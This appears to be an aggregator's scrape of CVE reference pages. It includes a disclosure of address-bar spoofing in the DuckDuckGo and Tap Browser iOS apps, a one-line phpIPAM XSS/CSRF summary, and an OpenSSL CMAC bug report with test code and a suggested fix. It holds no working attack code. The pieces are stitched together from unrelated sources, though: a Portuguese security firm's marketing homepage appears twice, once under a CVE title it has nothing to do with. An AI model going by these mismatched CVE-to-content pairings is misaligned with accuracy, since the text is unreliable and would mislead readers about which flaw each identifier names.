******New address bar vulnerabilities found in DuckDuckGo and Tap Browser, disclosed by Cyber Citadel researchers, could affect millions of iOS and Android users******

Cyber Citadel’s Lead Security Researcher Rafay Baloch and Security Researcher Muhammad Samak disclosed address bar spoofing vulnerabilities today in the DuckDuckGo browser for iOS, Video Downloader Browser for Android and Tap Browser for iOS mobile web browser applications

These flaws can be exploited, by potentially tricking users into supplying sensitive information to a malicious website. Our discovery found that a malicious attacker could easily lead the unsuspecting users to believe that they are visiting a legitimate website as the address bar points to the correct website. It is pertinent to mention here that, Cyber Citadel, as a part of its responsible disclosure policy gave a time frame of 60 days to all three browsers to fix these vulnerabilities. At the time of publishing this disclosure, the issue was only addressed by DuckDuckGo.

****Address Bar Spoofing Vulnerabili**es**

Mobile web browser address bar spoofing allows an attacker to change the URL of a malicious website to one that represents a legitimate website i.e. google.com, bing.com, facebook.com, or apple.com, for example.

This vulnerability bypasses the security certificates built into most modern mobile address bars. Desktop web browsers designate a website as safe by the lock icon on the far left of an address bar that ‘guarantees’ a website has a valid SSL certificate and is, therefore, secure.

On the other hand, security indicators on mobile devices are harder to find, due to the lack of screen real-estate, and restrict the ability to interrogate security elements. With typical users being unaware of website validation on mobile web browsers, cybercriminals are free to insert fake malicious pages with spoofed URL addresses.

Address bar spoofing traditionally scores approximately 4.3 out of 10 on the Common Vulnerability Scoring System (CVSS), technically assigning address bar spoofing with a moderate impact.

However, given the substantial 667% rise in spear-phishing attacks experienced during the COVID-19 pandemic, mobile address bar spoofing should arguably be held in higher regard. In a survey conducted by Mimecast, 2.1 million domains were tied to phishing attacks, with 47% of successful attacks making use of fraudulent websites. The disclosed DuckDuckGo and Tap Browser vulnerabilities directly tie into these figures by allowing cybercriminals to make fraudulent websites more believable and, therefore, more successful in harvesting sensitive information.

**DuckDuckGo**

‘Hatched’ in 2008, DuckDuckGo has become a popular web browsing tool downloaded 5 million times per month as a mobile application or desktop extension. It gives users the ability to browse the web privately, while protecting users from internet trackers.

The recent address bar spoofing CVE-2021-44683 disclosed by Baloch and Samak considerably weakens DuckDuckGo’s promised privacy protections for iOS users.

In the proof of concept (POC), Baloch and Samak revealed that version 7.64.4 of DuckDuckGo’s iOS application was prone to address bar spoofing due to a mishandling of JavaScript’s window.open function used to open a secondary window.

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/DDG-POC-copy-1.jpg)

DuckDuckGo address bar spoofing POC

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/DDG-Evidence.jpg)

DuckDuckGo address bar spoofing evidence

When exploited by a bad actor, an address bar in a secondary window opened in DuckDuckGo would display a legitimate URL despite being hosted by an attacker. This fraudulent page could be designed to trick users into supplying sensitive PII such as usernames and passwords.

**Tap Browser**

Built exclusively for iOS, Tap Browser is used for its additional web browsing functionalities such as easy navigation icons, in-app media players and an in-built VPN service.

Although a relatively low user base (7,000 downloads), the Tap Browser address bar spoofing vulnerability part of the CVE-2021-44683 disclosed by Baloch and Samak was open to secondary window exploitation.

In the POC, Baloch and Samak demonstrated how a secondary window could be spoofed by a bad actor to replicate Facebook, Gmail, Apple and Bing browsers.

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-1.jpg)

1\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS1.png)

1\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-2.jpeg)

2\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS2.png)

2\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-3.jpeg)

3\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS3.png)

3\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-4.jpg)

4\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS4.png)

4\. Evidence of address bar spoofing in Tap Browser

**Response from Vendors**

**Vendor**

**Service**

**Version**

**Platform**

**Reported Date**

**Fixed**

**CVE**

DuckDuckGo

DuckDuckGo

7.64.4

iOS

26/09/21

7.64.18

CVE-2021-44683

Tap Browser

Tap Browser

1.2

iOS

26/09/21

Unfixed

N/A

**HexCon Talk on Address Bar Spoofing Flaws**

This is not the first time, Rafay Baloch has found flaws in browsers. In October 2021 at the Hexcon Security conference, Rafay Baloch presented his findings across various mobile browsers titled “What you see, is not always what you get”. Various categories of address bar spoofing vulnerabilities were discussed along with how these vulnerabilities can be used to abuse security mechanisms in browsers.

**Previous CVEs Disclosed by Cyber Citadel Researchers**

This disclosure by Cyber Citadel security researchers comes a year after Rafay Baloch teamed up with Rapid7’s Director of Research Tod Beardsley to disclose a similar address bar vulnerability across seven mobile web browsers including Apple Safari and Opera Touch.

Baloch reported multiple vulnerabilities on Chrome and Firefox browsers in 2016, Google Inc’s Android browser in 2014, and was paid a total of US$10,000 for reporting a Code Execution/Command Execution vulnerability on PayPal’s sub-domain in 2012. He is considered one of the world’s top ethical hackers and listed in the Google, Facebook, PayPal and Microsoft Hall of Fame.

CVE-2021-44683: Multiple Address Bar Spoofing Flaws in Mobile Browsers - Cyber Citadel

phpIPAM 1.4.4 allows Reflected XSS and CSRF via app/admin/subnets/find_free_section_subnets.php of the subnets functionality.

**Nossos números:**

**3,5MM+**Anomalias reportadas  
aos clientes em 2020**450+**Pessoas em Recife, São  
Paulo, Rio e Londres**500+**Clientes no Brasil, UK,  
LATAM e Europa**21+**Anos de experiência  

**Principais Serviços**

 

**Security Consulting**

Projetos de avaliações, testes e diagnósticos de resiliência e cibersegurança.

Saiba Mais

 

**Security Integration**

Desenhamos, instalamos e configuramos as soluções de segurança próprias e de parceiros, respeitando o fluxo do seu negócio.

Saiba Mais

 

**Managed Security Services**

Temos inteligência, tecnologias e profissionais altamente qualificados para apoiar sua empresa com projetos contínuos.

Saiba Mais

 

**Digital Identity**

O AllowMe agrega proteção e confiança à relação digital entre empresas e seus clientes.

Saiba Mais

**Trabalhamos com importantes parceiros de negócios para oferecer as melhores ferramentas em cibersegurança.**

Nosso portfólio de ponta a ponta inclui as soluções tecnológicas mais inovadoras do mercado desenvolvidas pelos maiores fabricantes internacionais.

Saiba mais

Assine nossa newsletter

Cadastre-se para receber novidades

CVE-2021-46426: Home - Tempest - Líder em Segurança Digital no Brasil!

**Nossos números:**

**3,5MM+**Anomalias reportadas  
aos clientes em 2020**450+**Pessoas em Recife, São  
Paulo, Rio e Londres**500+**Clientes no Brasil, UK,  
LATAM e Europa**21+**Anos de experiência  

**Principais Serviços**

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-13.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem7.png)

**Security Consulting**

Projetos de avaliações, testes e diagnósticos de resiliência e cibersegurança.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-07.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/usecase-buider.png)

**Security Integration**

Desenhamos, instalamos e configuramos as soluções de segurança próprias e de parceiros, respeitando o fluxo do seu negócio.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-09.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem12.png)

**Managed Security Services**

Temos inteligência, tecnologias e profissionais altamente qualificados para apoiar sua empresa com projetos contínuos.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-08.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem4.png)

**Digital Identity**

O AllowMe agrega proteção e confiança à relação digital entre empresas e seus clientes.

Saiba Mais

**Trabalhamos com importantes parceiros de negócios para oferecer as melhores ferramentas em cibersegurança.**

Nosso portfólio de ponta a ponta inclui as soluções tecnológicas mais inovadoras do mercado desenvolvidas pelos maiores fabricantes internacionais.

Saiba mais

Assine nossa newsletter

Cadastre-se para receber novidades

An Insecure Permissions vulnerability exists in the OpenSSL Project 3.0 due to an error in the implementation of the CMAC_Final() function.

Hello.  
I found a wrong output of CMAC encryption when using OpenSSL 3.0.0. The testfile is as follows:

    #include <openssl/cmac.h>
    #include <iostream>
    #include <cstdio>
    #include <iomanip>
    
    using namespace std;
    
    void cmac_aes_128_ecb(){
        const EVP_CIPHER* cipher = EVP_aes_128_ecb();
        CMAC_CTX* cmac_ctx = CMAC_CTX_new();
        const uint8_t key[] =  {0x9b, 0xe8, 0x42, 0x04, 0xa7, 0x1e, 0x31, 0xeb, 0xf4, 0xe0, 0xb1, 0x1a, 0xe2, 0x5c, 0xac, 0x2f};
        const uint8_t msg[] =  {0x9b, 0x6b, 0x6a, 0x5c, 0x1f, 0x0c, 0x5b, 0x7b, 0x01, 0x9b, 0x6b, 0x6a, 0x5c, 0x1f, 0x0c, 0x5b, 0x7b, 0x01} ;
    
        if(!CMAC_Init(cmac_ctx,key,sizeof(key),cipher,0)){
            printf("err1\n");
            return;
        }
        if(!CMAC_Update(cmac_ctx,msg,sizeof(msg))){
            printf("err2\n");
            return;
        }
        uint8_t res[32]={0};
        size_t len = 0;
        if(!CMAC_Final(cmac_ctx, res, &len)){
            printf("err3\n");
            return;
        }
        for(int i = 0; i < sizeof(res); i++){
            printf("%02x ", res[i]);
        }
        printf("\n");
    }
    
    int main(){
        printf("OpenSSL result:\n");
        cmac_aes_128_ecb();
        return 0;
    }   
    

The expected output and OpenSSL's output are:

    expected output: 77 ab ed ce eb 46 8f 03 17 7e 66 7f eb 4d 85 24
    OpenSSL's output: 43 be 6f 41 19 8a 60 ea e5 33 7d fc 8b 83 ae 09
    

By reading the source code, I found that OpenSSL has an error in the implementation of the CMAC\_Final() function. According to CMAC algorithm, the final encryption logic should be:  
![1634794565](https://user-images.githubusercontent.com/60092417/138217592-f45780a4-1e37-4d19-a7ad-38580e522708.png)  
However, the OpenSSL's implementation is:  
![1634794584(1)](https://user-images.githubusercontent.com/60092417/138217620-def130b8-d719-4e53-ac05-035e588f38e0.png)  
The wrong place is probably in line 220~230 of openssl/crypto/cmac/cmac.c. I have confirmed that this error still exists in the latest version of the code.  
I tried the following modifications and found that I can get the correct output:

    if (lb == bl) {
            for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->k1[i];
        } else {
            ctx->last_block[lb] = 0x80;
            if (bl - lb > 1)
            memset(ctx->last_block + lb + 1, 0, bl - lb - 1);
            for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->k2[i];
        }
        for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->tbl[i];
    
        if (!EVP_Cipher(ctx->cctx, ctx->tbl, ctx->last_block, bl)) {
            OPENSSL_cleanse(out, bl);
            return 0;
        }
        for (i = 0; i < bl; i++)
            out[i] = ctx->tbl[i];
    

I hope that you can check this issue and I'm looking forward to your reply.  
Have a good day!

Tag

#ios